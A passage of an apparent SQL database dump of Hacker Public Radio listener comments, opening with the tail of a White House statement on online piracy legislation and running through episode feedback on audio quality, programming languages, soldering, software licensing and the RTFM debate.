Any provision covering Internet intermediaries such as online advertising networks, payment processors, or search engines must be transparent and designed to prevent overly broad private rights of action that could encourage unjustified litigation that could discourage startup businesses and innovative firms from growing.\r\n\r\nWe must avoid creating new cybersecurity risks or disrupting the underlying architecture of the Internet. Proposed laws must not tamper with the technical architecture of the Internet through manipulation of the Domain Name System (DNS), a foundation of Internet security. Our analysis of the DNS filtering provisions in some proposed legislation suggests that they pose a real risk to cybersecurity and yet leave contraband goods and services accessible online. We must avoid legislation that drives users to dangerous, unreliable DNS servers and puts next-generation security policies, such as the deployment of DNSSEC, at risk.\r\n\r\nLet us be clear&mdash;online piracy is a real problem that harms the American economy, threatens jobs for significant numbers of middle class workers and hurts some of our nation\'s most creative and innovative companies and entrepreneurs. It harms everyone from struggling artists to production crews, and from startup social media companies to large movie studios. While we are strongly committed to the vigorous enforcement of intellectual property rights, existing tools are not strong enough to root out the worst online pirates beyond our borders. That is why the Administration calls on all sides to work together to pass sound legislation this year that provides prosecutors and rights holders new legal tools to combat online piracy originating beyond U.S. borders while staying true to the principles outlined above in this response. We should never let criminals hide behind a hollow embrace of legitimate American values.\r\n\r\nThis is not just a matter for legislation. We expect and encourage all private parties, including both content creators and Internet platform providers working together, to adopt voluntary measures and best practices to reduce online piracy.\r\n\r\nSo, rather than just look at how legislation can be stopped, ask yourself: Where do we go from here? Don&rsquo;t limit your opinion to what&rsquo;s the wrong thing to do, ask yourself what&rsquo;s right. Already, many of members of Congress are asking for public input around the issue. We are paying close attention to those opportunities, as well as to public input to the Administration. The organizer of this petition and a random sample of the signers will be invited to a conference call to discuss this issue further with Administration officials and soon after that, we will host an online event to get more input and answer your questions. Details on that will follow in the coming days.\r\n\r\nWashington needs to hear your best ideas about how to clamp down on rogue websites and other criminals who make money off the creative efforts of American artists and rights holders. We should all be committed to working with all interested constituencies to develop new legal tools to protect global intellectual property rights without jeopardizing the openness of the Internet. Our hope is that you will bring enthusiasm and know-how to this important challenge.\r\n\r\nMoving forward, we will continue to work with Congress on a bipartisan basis on legislation that provides new tools needed in the global fight against piracy and counterfeiting, while vigorously defending an open Internet based on the values of free expression, privacy, security and innovation. Again, thank you for taking the time to participate in this important process. We hope you&rsquo;ll continue to be part of it.\r\n\r\nVictoria Espinel is Intellectual Property Enforcement Coordinator at Office of Management and Budget\r\n\r\nAneesh Chopra is the U.S. Chief Technology Officer and Assistant to the President and Associate Director for Technology at the Office of Science and Technology Policy\r\n\r\nHoward Schmidt is Special Assistant to the President and Cybersecurity Coordinator for National Security Staff\r\n\r\nCheck out this response on We the People.','2017-09-09 07:41:23'),
(396,907,'2012-01-29 16:58:03','Bob Ibanez','Your HPR podcast','Hello,\r\nGreat info for people who want to learn to code.The only problem was it was hard to understand.Maybe use a mic for second podcast.\r\nBob','2017-09-09 07:41:23'),
(397,910,'2012-01-27 20:55:08','Deltaray','Another way','Sorry to be a wet blanket, but you can also do this in 3 easy steps using an SSH tunnel:\r\n\r\n1. Turn on GatewayPorts and PermitRootLogin in sshd_config on remote.server.hostname where you want the website to appear on the net.\r\n2. Open up port 80 in firewall on remote.server.hostname\r\n3. from your home machine, run ssh -R *:80:localhost:80 root@remote.server.hostname\r\n\r\nThen people can go to https://remote.server.hostname/ and it will go to the webserver on your local computer. Remember though, either way, you\'re still allowing access to your computer on the public internet and if that gets compromised, your local network. May not be what you expected.','2022-02-14 13:15:39'),
(398,911,'2012-01-30 14:22:46','Deltaray','The Secret Life of Machines','Oh MrX, you\'re my hero for mentioning The Secret Life of Machines. That show was excellent and is a great example of how different documentaries where before Discovery channel sold out in the mid 90s to the \"Least Common Denominator\" model of documentaries. I think the episode called \"The Radio Set\" is one of the best, and should be especially interesting for hackers.\r\n\r\nhttps://www.exploratorium.edu/ronh/SLOM/0206-The_Radio-big.html\r\n\r\nYou\'ll find yourself in good company with Tim and Rex.','2022-02-14 13:15:39'),
(399,912,'2012-01-31 14:11:18','Deltaray','Great episode','Short and to the point. I liked the \"wife considerations\" part.','2017-09-09 07:41:23'),
(400,912,'2012-03-27 02:59:22','Broam','I didn\'t care for the whole \"wife\" part.','While it\'s important to consider non-technical users, don\'t talk about the listener\'s wife/girlfriend. It\'s bad form to assume the gender of the listener. You can talk about your wife/girlfriend, but don\'t assume we all have those.\r\n\r\nGood episode. I will probably do a follow-up in terms of other ways to cut the cord.','2017-09-09 07:41:23'),
(401,917,'2012-02-10 04:59:35','dylan_c','Happy to see a new episode','It was great to hear a new episode of Uber leet hacker force.  This is one of my favorite hpr series.','2017-09-09 07:41:23'),
(402,917,'2012-02-21 15:39:12','klaatu','me too','yeah uber leet hacker force is one of my favourites too.  i think it\'d be cool to see concr implemented in config files for fetchmail and stuff like that.','2017-09-09 07:41:23'),
(403,918,'2012-02-09 08:23:48','Robert Wooden','feedback','Frank, I find your series interesting.','2017-09-09 07:41:23'),
(404,922,'2012-02-16 11:22:25','brothermouse','OSM is legal, open, and hackable','Onlookers might consider leveraging the open/free OpenStreetMap data \r\n\r\nhttps://wiki.openstreetmap.org/wiki/OSM_Map_On_Garmin','2022-02-14 13:15:40'),
(405,922,'2013-05-07 07:32:44','Ralph','How to make the garmin usable first','Howdy,\r\n  I have thought about getting a used Garmin to use with OpenStreetMaps.  But, all the garmin units I have tried display a legal agreement when they are turned on.  I won\'t agree to it, so I never get very far.  Are there hacks for some units to remove the license nonsense?  Pointers to that info would be appreciated.  I have searched google every way I can think of and not found anything.\r\nThanks.','2017-09-09 07:41:23'),
(406,924,'2012-02-16 13:18:35','Deltaray','Great show','Great show Dann. You spoke very clearly and were obviously prepared. Well done. Since shell stuff can be quite thick at times, maybe after every few minutes you should just take a breather to allow people to catch up.  Maybe a joke or story or something.  I liked all the philosophical stuff you started out with. Its good for beginners to hear all that.','2017-09-09 07:41:23'),
(407,926,'2012-02-20 20:22:39','Stephen','same opinion on perl vs python','I have the same kind of attitude toward Perl. I appreciate its power and ubiquity, but for me as a *learner* the whole \"there\'s more than one way to do it\" approach is a big turn-off. Hence I too have steered more toward Python as a preferred scripting language.','2017-09-09 07:41:23'),
(408,926,'2012-02-21 19:00:42','Paul Perkins','Why (still) C and Python?','I, too, went through a &ldquo;C&rdquo; phase and have ended up using Python. I looked at Perl and said &ldquo;yuck!&rdquo; And I looked at Genie and concluded that the lack of libraries and documentation ruled it out. I think I know the answer to your &ldquo;heretical&rdquo; question, &ldquo;why are we not all using a language that is as efficient to run as C and as efficient to write as Python?&rdquo;: It is a lot harder than it looks. Python (specifically CPython) looks terrible in benchmarks, but for many real applications it is slower than C, but not enough slower to matter. Also, lots of smart people have tackled the problem from lots of different directions (C++, OCaml, Java, Unladen Sparrow, etc.) with limited success so far. And change is slow just because being an early adopter of a language is expensive, and being a late abandoner is even more expensive. But take a look at the PyPy project and the &ldquo;RPython&rdquo; language.','2017-09-09 07:41:23'),
(409,926,'2012-02-22 15:14:32','diablomarcus','Intermediate compiler','For all the flack that Perl gets, it does precompile down to simpler language and then that is run on the fly. Sounds just like what you were recommending','2017-09-09 07:41:23'),
(410,926,'2012-02-22 19:00:57','Deltaray','Do you actually want people to listen?','I stopped listening at about 15 mintues due to the cans and bottles. Calling in a show is ok, but trying to make it somehow sound \"cool\" by doing it while making a bunch of noise IMHO is not so good.','2017-09-09 07:41:23'),
(411,926,'2012-03-08 21:53:28','Xoke','Compiling and compiling','Python -> C -> Assembly.\r\n\r\nIn short yes you can.  But no-one would.  \r\n\r\nWhen you compile it drops any comments you have and change variable names and can do other things, so you would then have this mass of code that is VERY unreadable.  If you are good enough to read that and make any tweaks you simple would code in that language as lower languages gives you much more control.','2017-09-09 07:41:23'),
(412,932,'2012-03-01 00:59:09','NYbill','Nice job','Nice job, man. I\'m going to have to listen a second time to soak that all in. ','2017-09-09 07:41:23'),
(413,933,'2012-03-05 12:45:57','dominic','','Nice Podcast, thank you!','2017-09-09 07:41:23'),
(414,934,'2012-03-04 06:37:45','brother mouse','good show!','Enjoyed the shell-centric show.  I even installed qrencode to dork around with it.\r\n\r\nKeep up the good work.  ','2017-09-09 07:41:23'),
(415,942,'2012-03-29 18:51:16','Xoke','Thanks!','Oddly enough I listened to this ep last week and this week our Windows 2008 server died.  I swear they are unrelated!\r\n\r\nAnyway we now have a Zentyal server up and running, although I\'m still fine tuning a few things.\r\n\r\nThank you :)','2017-09-09 07:41:23'),
(416,943,'2012-03-19 13:29:37','qubodup','','Thanks for this guide, as part of ArchWomen, I\'m trying to streamline the \"get involved\" page of the Arch Linux wiki and bug reporting of course plays an important role.\r\n\r\nI\'m glad to hear that Ohio LinuxFest wants diversity. Can you be more specific about the steps the organization takes to promote this? Is there a diversity statement?\r\n\r\n(might be releavant: https://geekfeminism.wikia.com/wiki/Women-friendly_events )','2022-02-14 13:15:40'),
(417,945,'2012-03-21 01:26:53','pokey','I enjoy every one of these, and this was no exception.','Deepgeek, your shows are amazing. They are informative and often uplifting. I can\'t imagine how much work it must be to gather and summarize all of these stories that are so important to our community. Thank you for all of the hard work that you do, and for fighting the good fight.','2017-09-09 07:41:23'),
(418,946,'2012-03-21 01:22:35','pokey','Great show','This was a lot of fun to listen to. I\'m seriously jealous of of the fun you guys will be having. I just attended NELF, and I\'d like to make you guys an offer. I\'m willing to send you our HPR booth kit in exchange for your Linux beer brewers. Think about it. ','2017-09-09 07:41:23'),
(419,947,'2012-03-21 01:17:51','pokey','Great show','This was fantastic! I really enjoyed it. Jared seems like maybe the nicest guy in the world. If I ever see him at a conference, I\'m making it a point to shake his hand.','2017-09-09 07:41:23'),
(420,952,'2012-03-28 19:58:08','computothought','','If you like home antennas, try these: https://www.instructables.com/id/Antennas-TV-Wifi-and-etc/','2022-02-14 13:15:40'),
(421,961,'2012-04-09 18:16:41','Kryx','Thanks','sigflup,\r\n\r\n  Thanks for your openness and sharing your story - having family members that have had similar experiences I understand that it is a different world in there.  I wish you all the best in the recovery process.\r\n\r\nKryx','2017-09-09 07:41:23'),
(422,961,'2012-04-09 23:56:38','qubodup','Thanks for sharing','Hello,\r\n\r\nThank you a lot for sharing this. Listening to you describing your state and surrounding was a fascinating experience.\r\n\r\nIt reminded me of in-computer-game audio logs, like the ones in \"System Shock 2\" and \"Amnesia\" for example. (Warning: both these titles or screenshots, videos and descriptions of their content might act as triggers)\r\n\r\nBest wishes for feeling better and glad for you to not having to stay in there longer. I hope that talking openly about the events, as you did in this post, leads to more relief.','2017-09-09 07:41:23'),
(423,961,'2012-04-11 09:59:08','brother mouse','thanks for sharing','I really appreciate your openness and willingness to share.   ','2017-09-09 07:41:23'),
(424,961,'2012-04-12 12:58:59','claudiom','Thank You, sigflup...','Thank for sharing this experience on HPR.  I have to say that it takes a lot of courage to open oneself in this manner.  I hope and pray that everything improves for you soon.','2017-09-09 07:41:23'),
(425,961,'2012-05-14 21:24:20','Frank','','What they said.  \r\n\r\nI commend your courage is posting this.','2017-09-09 07:41:23'),
(426,962,'2012-04-12 18:01:45','computothought','Do it to it.','Applying what Dann has taught so far. https://www.instructables.com/id/Mixing-the-command-line-and-the-gui/','2022-02-14 13:15:41'),
(427,964,'2012-04-17 14:20:25','Deltaray','Sound levels much improved','I just wanted to say that the sound levels are much improved. Thanks for fixing that.','2017-09-09 07:41:23'),
(428,964,'2012-04-28 15:19:23','Mary','Thanks for your feedback','we are using mic filters now which helps Tony with the sound levels. He doesn\'t have to adjust them as much...as long as we remember to talk into the mic.','2017-09-09 07:41:23'),
(429,964,'2012-04-28 17:10:53','Tony Bemus','Thanks','Deltaray,  Thanks we have be working hard on making the best quality.','2017-09-09 07:41:23'),
(430,965,'2012-04-18 01:49:37','bruce patterson','Excellent podcast','This is rapidly becoming one of my favorite segments hands down.  Keep up the good work DG!','2017-09-09 07:41:23'),
(431,966,'2012-04-17 13:59:27','Deltaray','Conversations','Great insight and it needed to be said. I had some great conversations with people at ILF this past weekend, some of whom I would consider elders from my point of view. The conversations with other people made for a great conference.','2017-09-09 07:41:23'),
(432,967,'2012-04-25 18:08:09','MrJackson','','Both models come with 256mb ram now.','2017-09-09 07:41:23'),
(433,977,'2012-05-03 05:26:29','Ken Fallon','Other plugin ?','Hi Frank,\r\n\r\nWhat was the name of the other plugin that you used before. The one where you needed to do a math question.\r\n\r\nKen.','2017-09-09 07:41:23'),
(434,978,'2012-05-03 08:58:10','Kenn Crawford','Your review of Dead Hunt','Hi guys, \r\n\r\nJust wanted to say a big THANK YOU for taking the time to listen to Dead Hunt and for the great review! I appreciate your comments and learn a lot when people like you give an honest assessment. Your in-depth review was well thought out and I enjoyed hearing your praises and criticisms. That type of feedback is invaluable, so thank you for your honesty.\r\n \r\nWhen I was asked in an interview if I would change anything my answer was, without hesitation, \"the writing.\" There&rsquo;s a lot of things I would change&hellip; especially in the prologue. The original story was teens but they were supposed to be college kids in the final draft so I don&rsquo;t know what happened there. Major oversight! I also agree with your assessment of the diner scene: I should have included more description on how he found her and got her out. Good catch. Ditto for the bear&hellip; and A.I&hellip; and the chip&hellip; You gave me a lot to think about.\r\n \r\nI&rsquo;m glad you would be interested in hearing the sequel, which I hope to finish writing within the next few months, and I do hope you guys are willing to review that one on your podcast as well. I really enjoyed your show!\r\n \r\nOnce again, thank you for your comments and honesty. It means a lot to me.\r\n \r\nSincerely,\r\nKenn\r\n','2017-09-09 07:41:23'),
(435,978,'2012-05-05 00:54:01','Stephen','free audiobook suggestions','I\'m not especially a zombie and/or gore kind of person, but I enjoyed this your latest book review (ep0978). Here are a couple other audio books I\'ve listened to and highly recommend, and I\'d really enjoy hearing your review of them too at some point.\r\n\r\nhttps://www.podiobooks.com/podiobooks/search.php?keyword=trader+tales\r\nThis is a series of audiobooks following the life and career of the main character from his first unprepared steps into the spacefaring cargo fleet as a newly orphaned late-teen through owning his own ship. No aliens, no space battles, etc., but in my opinion nevertheless thoroughly engaging.\r\n\r\nhttps://www.podiobooks.com/podiobooks/search.php?keyword=heavenfield\r\nAnother, shorter series, very different but equally excellent. Set in the near future on Earth where several rival factions have found a way into a kind of alternate dimension intersecting ours, the eponymous Heavenfield, and discover that we are not alone, and that our actions shape our reality for good or ill.\r\n\r\nhttps://www.podiobooks.com/title/the-leviathan-chronicles\r\nA race of superhumans lives secretly in our midst, and in a deep underwater base, seeking to direct mankind into a better future. But now there\'s a civil war among them, spilling into our world. The main character learns that she is not just one of these immortals, but a key to their very survival and torn between the factions.','2022-02-14 13:15:41'),
(436,978,'2012-05-08 12:56:12','klaatu','Kenn','Thanks for the feedback on our feedback, Kenn, but most especially thanks for your book! I really enjoyed it and while I don\'t remember what the blazes I said about it, any criticism I had was only because I liked the book enough to feel safe with little nit-picks.  All in all, I loved the story and the writing, and you had me all the way til the end. And in the end, that\'s all that matters.\r\n\r\nLooking forward to the sequel!','2017-09-09 07:41:23'),
(437,980,'2012-05-06 22:28:21','sigflup','wow','Fascinating episode!','2017-09-09 07:41:23'),
(438,980,'2012-05-11 02:05:06','Nancy','great job Ken','I really enjoyed listening to this, one of the best!  It is one of the great obstacles in modern life-how to obtain high speed internet in rural areas, and it\'s the rural areas that need it the most!  It is only because I am good friends with our local computer guy/isp that I was able to finally receive high speed wifi at my home in rural New Mexico.','2017-09-09 07:41:23'),
(439,980,'2012-05-29 12:27:45','pokey','Great interview. Great project.','Well done, Ken. You\'re the best.','2017-09-09 07:41:23'),
(440,983,'2012-05-09 18:25:59','pokey','Congratulations','Congratulations on completing your series. Like you said, all good things must come to an end. And while I\'m a little sad that it\'s over, I\'m thrilled for you that it\'s complete. So many podcast series just fade away incomplete. \r\n\r\nIt\'s a great series that you put together here, and I\'ll be directing people to it in the future. It turned out really well in content and in quality. Thanks so much for being part of HPR. I look forward to hearing more shows from you if you get the time.','2017-09-09 07:41:23'),
(441,984,'2012-05-10 17:54:47','Frank','','Excellent recursive (as they say in the show) choice for syndicated Thursday.','2017-09-09 07:41:23'),
(442,988,'2012-05-16 19:22:15','Frank','','Absolutely fascinating.  Thanks.','2017-09-09 07:41:23'),
(443,1000,'2012-06-01 21:41:35','Becky Newborough','','Well that was a hoot! I\'m glad that Philip and I could be a part of your 1000th episode celebration. We\'ll try the less serious version of our greeting next time :P','2017-09-09 07:41:23'),
(444,1006,'2012-06-11 22:45:29','klaatu','good show','Calling it a \"good\" episode feels a little trite, but it\'s an \"important\" episode. Very enlightening. Thank you so much for sharing, Sigflup! I just know you, of all people, _can_ deal with schizophrenia. And maybe more importantly, this community can deal with it, because you\'re one of us, so we\'re in it together. Don\'t hesitate to reach out to any one of us if you ever need anything, and keep fighting the good fight.','2017-09-09 07:41:23'),
(445,1006,'2012-06-12 19:02:36','Deltaray','Cell phone interference in recording.','Was that cell phone interference I heard at 4:28? I\'m curious if you know if that was interference being heard over a speaker through the microphone or directly into the microphone? Interesting episode Sigflup.','2017-09-09 07:41:23'),
(446,1006,'2012-06-14 00:59:52','sigflup','cell phone','That was gsm heard through the microphone from the phone in my pocket. No audio was made, just the interference picked up directly by the mic','2017-09-09 07:41:23'),
(447,1007,'2012-06-15 18:44:51','Frank','','A fascination story of versatility and adaptability!','2017-09-09 07:41:23'),
(448,1008,'2012-06-14 11:48:40','pokey','I\'m trying this now, thank you.','Hey, Windigo, I just copied these files to my laptop, and I\'m looking forward to seeing how it works. I get this bug all the time, but not ever in a way that it is reproducible, so I\'ll just have to wait and see how well it works. For me, the only way out of the bug was to open and close my inventory or the game\'s menu. I\'ve gotten pretty good at opening and closing my inventory very quickly, but I like your solution better. Thanks a lot.','2017-09-09 07:41:23'),
(449,1008,'2012-06-27 11:41:04','Windigo','Good Luck','Good luck, Pokey - hope it helps! :)','2017-09-09 07:41:23'),
(450,1008,'2012-08-04 06:10:30','iron_houzi','Thank you!','Great fix. Just started playing and have ~12 friends and friends of friends playing on my server. Looking forward to your next Minecraft episode.','2017-09-09 07:41:23'),
(451,1008,'2012-09-01 22:04:03','Antian','Other possible issue?','I\'ve also heard it\'s a keylogger or keystroke recorder that\'s been doing it, although I haven\'t tried it.','2017-09-09 07:41:23'),
(452,1008,'2012-10-03 21:02:19','Marc','Fixed!','Fixed on ubuntu 12.04\r\n\r\nI love you.','2017-09-09 07:41:23'),
(453,1008,'2012-10-16 19:33:38','terwarf','Thanks a lot','You saved (at least for me) a lot of (virtual) lifes! Working like a charm for hours now...\r\n\r\nThank you','2017-09-09 07:41:23'),
(454,1008,'2013-02-10 18:58:36','Bart','Worked','Worked great here on Ubuntu 12.10! I walked myself accidentally in a deep hole a bit too much. ','2017-09-09 07:41:23'),
(455,1008,'2013-04-02 11:57:53','Brodus8899','Working','Thanks bro it really helped me. Now I can record Youtube videos in peace. Subscribe and/or like to Brodus8899. ;)','2017-09-09 07:41:23'),
(456,1016,'2012-07-24 21:07:10','goibhniu','Wrong Eelco!','Woops ... Eelco Visser != Eelco Dolstra\r\n\r\nSee here for some more papers and videos:\r\nhttps://nixos.org/~eelco/talks/index.html','2022-02-14 13:15:41'),
(457,1021,'2012-07-02 19:14:17','klaatu','lies','don\'t believe the lies. i didn\'t read the community news, i made it up.','2017-09-09 07:41:23'),
(458,1024,'2012-07-05 21:52:22','Sigflup','Aww','Aww, thanks for the hugs','2017-09-09 07:41:23'),
(459,1024,'2012-07-06 16:10:30','Xoke','You\'re welcome!','Now if we can just win the Ubuntu UK podcast competition to win a raspberry pi for you...','2017-09-09 07:41:23'),
(460,1027,'2012-07-10 22:55:35','max','','thx, very useful!','2017-09-09 07:41:23'),
(461,1028,'2012-07-15 16:35:22','the_remora','Goodwill Computer Works','Just finished listening to this episode and I have to say that I am jealous. We have what Goodwill calls a \"Computer Works\" here in Charlotte NC and they are not as cheep as you guys are saying, probably because they try to refurbish everything they get in but even the junk systems they have from \'05 they want about $100 for. I have found some stuff I thought was really cool. Such as a original working Xbox for $25 with all the cables and a controller. What I undersand of how goodwill does it 99% of the computer equipment in my region ends up in this storefront which does not sell clothes.','2017-09-09 07:41:23'),
(462,1028,'2012-08-15 20:58:49','Urugami','Where does it come from?','Listening now, and NYBill is asking \"Who\'s dropping this tech stuff off?\"\r\nWell, when I was clearing out stuff after marriage/moving, I gave a LOT of tech stuff to Goodwill.  Computers, cards, and even a full installation kit for SCO Unix, floppies, manuals, everything.  \r\nI wish I could find out just who ended up with some of that stuff.\r\nI think I know who the waterbed went to; the employees were eying that up hard. :)','2017-09-09 07:41:23'),
(463,1031,'2012-07-19 13:02:21','dave','','\r\nGreat info BrocktonBob\r\n\r\nAnother thing that may need to be changed is the -vf crop=640:480:0:0,scale=640:405 option\r\n\r\nSome movies will have different crop boundaries. I use mplayer dvd//:1 -vf cropdetect to to get this info before ripping. \r\n\r\nAnother tip is for the scale option. Here is your original code -vf crop=640:480:0:0,scale=640:405\r\n\r\nHere mencoder can preserve the aspect ratio whether the movie is full screen or wide screen by using a -2 like so\r\n\r\ncrop=640:480:0:0,scale=640:-2\r\n\r\nHop these tips help\r\n\r\n\r\n\r\n','2017-09-09 07:41:23'),
(464,1033,'2012-07-27 12:16:36','Mike Hingley','Alternate viewpoinr','My counter argument to the central point made by your podcast is this : \r\n\r\nI feel almost intrisictly opposed to the stock RTFM answer - here are my reasons why : \r\n\r\n1. Elitism\r\nThis may not be intentional - but when someone says \"RTFM\" the subtle message it puts out is \"I know the answer, but I\'m not going to tell you because I do not believe you are worthy of my time and energy because you have not displayed sufficient schooling in this area\".  To me - this represents a knowledge elite, where those that can and do,laugh down their noses at those that can\'t.  One thing I can\'t stand is elitism especially in the open source community, where access to information and resources is the ultimate leveller. \r\n\r\n2. Puts people off\r\nIt may be that the user asking that question has no background in the computer science aspects of computing, but approaches the use of computers like any other consumer device.  For example : I recently fitted some smoke alarms into my house.  the manual said that the light should flash every 45 seconds - but in reality it flashed every 10 seconds.  I phoned the help line and spoke to a technician who answered the question.  His response was much more useful to me as it answered my question directly.  I now feel much more confident in my ability to work with electronics not only from this company, but from others, as I know there is an element of support.\r\n\r\n3. Adds nothing\r\nIn reality all information relating to Linux is either gathered by reading the manual or source, or through experience with the product.  Therefore the stock answer to any query from anybody could be RTFM, and the chances are that there is a manual page or documentation out there that covers that subject.\r\n\r\n4. Makes assumptions about the users\r\nRTFM assumes that the user that has made contact is indeed able to read a manual.  To make such an assumption based on no information does us a disservice\r\n\r\n5. In some instances - inappropriate for the communication paradigm\r\nIf I contact a IRC help chat channel and all I am told is RTFM, then the channel could be hosted by bots which just respond RTFM.   If the help chat channel offers no help, then it ceases to be a useful tool.\r\n\r\n6. Aggressive\r\nThe use of offensive language in this term makes it inappropriate for use.  I always pride myself that the communications I have made within the open Source community are free from swears  -  I would have no problem with my parents, or grand parents, or little nieces and nephews reading what I have written. \r\n\r\n7. Competition\r\nThe point is that Microsoft, Oracle etc already have this type of facility - where questions can be asked and answered.  We\'re competing with these companies, and therefore we need to raise the bar.  Making someone slog through a reference book to find out why their network isn\'t working isn\'t competing so well.\r\n\r\n8. Obtuse\r\nResponding to a technical query from a user with a technical acronym only compounds the issue.  \r\n\r\n\r\nI want to table something  : I\'d like to suggest that we censor ourselves from responding with RTFM - I\'d like to ban the term, and instead suggest that we start to write things in plain english. \r\n\r\nFor example : \r\n\r\nOh - I\'m sorry you\'ve experienced an issue with the FOO widget under Distrix.  Let\'s see if we can\'t offer some advice.  It looks like the issue is , which means \r\n\r\nThere are a number of things we can try : \r\n\r\n1. instruction 1\r\n2. instruction 2\r\n3. instruction 3\r\n4. instruction 4\r\n\r\nIf you want to learn more about FOO widget, then you can find the man page by going to terminal and typing man FOO.\r\n\r\n---\r\n\r\nOnce we have done this a few times we can start to formulate strategies to solving the issue, which we can document.  \r\n\r\nThe important things I wanted to raise with my suggestion are : \r\n\r\n1. Empathy - we are empathising with the user.  This helps to establish a bond, and the user may feel happier that at least someone understood the issue.\r\n\r\n2. Information - we are presenting the user with some basic information about the issue they are having.\r\n\r\n3. Tasks - we are presenting some ideas that the user can try \r\n\r\n4. Further information - we are instructing the user how to get more information about the issue.\r\n\r\n','2017-09-09 07:41:23'),
(465,1036,'2012-07-24 05:25:52','brother mouse','mousetrap','Good timing;  my first Kenwood rig (2m) arrives tomorrow on the Brown Truck of Joy.  \r\n\r\nCurrently have a Baofeng UV-5R which is an incredible value for the money.  Really like it. ','2017-09-09 07:41:23'),
(466,1036,'2012-07-26 13:23:50','claudiom','Nice!','Great stuff, Joel!  Really enjoyed this episode.  Can\'t wait to hear more.','2017-09-09 07:41:23'),
(467,1037,'2012-07-24 08:46:44','C-Keen','Thank you!','I am looking forward to part 2, this must be one of the best episodes on HPR I have heard lately!\r\n\r\nNicely done!','2017-09-09 07:41:23'),
(468,1037,'2012-07-26 13:23:01','claudiom','Great Information.','This was definitely a very informative episode and looks to be a very informative series.  I used to solder a bit when I needed to repair some gadgets (Apple Airport Basestation is one example), but haven\'t done it in a very long time.  Great amount of information on soldering irons and what to look for.  Can\'t wait to hear more. :-)','2017-09-09 07:41:23'),
(469,1038,'2012-07-26 13:20:47','claudiom','Great interview.','Thoroughly enjoyed this interview.  Kudos to pokey for this one.  Seems like there should be more of these, maybe to provide something similar to what a particularly well-known FLOSS podcast on a particularly well-known \"netcast\" network does while actually providing it on FLOSS formats. ;-)','2017-09-09 07:41:23'),
(470,1041,'2012-07-30 22:37:35','NYbill','Hope talks are up. ','In case anyone is interested in audio for the talks at HOPE9, they just went up:\r\n\r\nhttps://www.hopenumbernine.net/schedule/','2022-02-14 13:15:41'),
(471,1047,'2012-09-09 04:37:18','Peter64','Good Stuff','Can\'t believe how informative I found this one, Great stuff','2017-09-09 07:41:23'),
(472,1047,'2012-10-25 13:47:20','pokey','I love soldering - when I do it right','I was about to shout \"DON\'T FORGET YOUR SHRINK TUBING!\" when you remembered your shrink tubing. Well done.','2017-09-09 07:41:23'),
(473,1051,'2012-08-15 18:59:18','pokey','Good show','Good show. I liked it. I\'d like to offer up a couple of suggestions, if I may.\r\n\r\nFirst is that your mic is good enough that you need a pop filter. When you say words that cause air to puff out of you, that air hits the mic element harder than the rest of your speech, and you get a \"pop\" sound. Do a search for \"DIY pop filter\" or \"how to pop filter\" and you\'ll find cheap or free solutions that work well.\r\n\r\nSecond is that the name Sean is pronounced like Shawn. It\'s just an alternate spelling. I\'m a Sean Fournier fan too, so I knew who you were talking about.\r\n\r\nI think you did a good job of leveling the audio between the talking parts and the music parts. That\'s hard to do properly, so well done... or \"Good on ya\'!\" as Peter64 might say.','2017-09-09 07:41:23'),
(474,1053,'2012-08-21 19:54:43','Mike Hingley','I thought it already existed','Hi Zoke - \r\n\r\nI thought there was already a \'charity\' as such which existed to collect funds for open source and community projects : LinuxFund.org\r\n\r\nI don\'t know how / if we* would be able to use such an organisation, rather than reinventing the wheel (so to say), but even if we can\'t there is at least a template under which it could be established \r\n\r\n*by we I don\'t just mean HPR but all of the podcasts out there...','2017-09-09 07:41:23'),
(475,1056,'2012-08-20 19:49:43','Tris Linnell','Thanks!','Hi Ken,\r\nThanks for getting the interview up,\r\nGlad the SD card survived this time :)\r\nTris','2017-09-09 07:41:23'),
(476,1058,'2012-08-23 05:21:24','davidWHITMAN','HPR Booth at Oggcamp 2012','Ken,\r\n\r\nThe Oggcamp HPR booth looked great! Thanks for the effort and the pictures. \r\n\r\ndw','2017-09-09 07:41:23'),
(477,1058,'2012-08-25 08:16:17','devspmml','hackspace','the best show sofar from oggcamp.','2017-09-09 07:41:23'),
(478,1063,'2012-09-01 12:21:47','Nerb','','The one really interesting thing in my mind as to rms view of things is that proprietary software should not exist even if it supports free software.\r\n\r\nHence Android, Red Hat Enterprise etc should not be allowed to exist since they mix proprietary software and money made from that with free software.\r\n\r\nHence, if you use a Google licensed Android device or a Linux distro such as for example Ubuntu or Fedora that is partially funded by proprietary software sales you are \"worse than a sucker\" and that is against the views of rms.\r\n\r\nIt also seems like you don\'t really know much BSD-licensed projects that are being used by various companies (even including big scary Apple) actually see contribitions back from those companies as it is still better for them if the community can also work on the features they added. \r\n\r\nThe problem for companies is generally not contributing back, the problem is usually having to open up linked products completely. This is why LGPL seems to be gaining popularity.\r\n\r\nI do think more software should be open, but I don\'t think it\'s likely to happen anytime soon as very few people are willing to pay money to support software that is free as in freedom since they can just get it also free as in beer. As long as proprietary software pays far better per hour for the developers it will still be there, and as long as it is the case I can\'t really blame developers.\r\n\r\nSo donate as much as you can to your favourite projects. If you can get people to donate $20 per hour total to these people it actually means they may be able to live on it.','2017-09-09 07:41:23'),
(479,1063,'2012-09-13 21:00:50','Scott_babu','','Thank you.\r\n','2017-09-09 07:41:23'),
(480,1063,'2013-08-24 03:32:19','dangerseeker','Sadly, You are totally wrong ;-)','The freedom RMS (and the GPL) is focussing on, is the freedom of the SOFTWARE, NOT the freedom of the USER!\r\n\r\nDon\'t get me wrong, I am very much in favour of the GPL, but sadly You don\'t seem to understand its implications.\r\n\r\nI think we can agree that the GPL want\'s to preserve the rights of all USERS(!) of the software. But the GPL does this by depriving all USER of an important right that only the AUTHOR of the software has: the right to change the licence!\r\n\r\nWith a \"permissive\" licence (i. e. MIT-licence) the user (of the MIT-licenced software) has the SAME right as the author, namely to change the licence at will (and then distribute it further under the new licensing terms).\r\nAny recipient of the (now closed) software has THE SAME right as the evil guy who has changed the licence: he can download the MIT-licenced software, change it and then change the licence at will, but he has not the same rights concerning the closed version by the evil guy...\r\n\r\nWith permissively licenced software any user of the software has the same rights as the original author!\r\n\r\nWith GPLd software you have 4 rights, with MIT-licenced software you have 5(!) rights.\r\nThe 5th right is to take away any right from the recipient of the software, now licence under YOUR terms...\r\n\r\nThe AUTHOR of GPLd software has the right (as an author) to relicence it under any licence he chooses. The USER of GPLd software does not have the right to relicence the software. This results in the software beeing offered to ALL users under (at least) the GPL.\r\n\r\nThe USER of permissively licenced software has the right to create a new piece of software, even by only changing the licence, based on the original software with his own licensing restrictions added.\r\nThe user of the permissively licenced software has TWO options: Take the 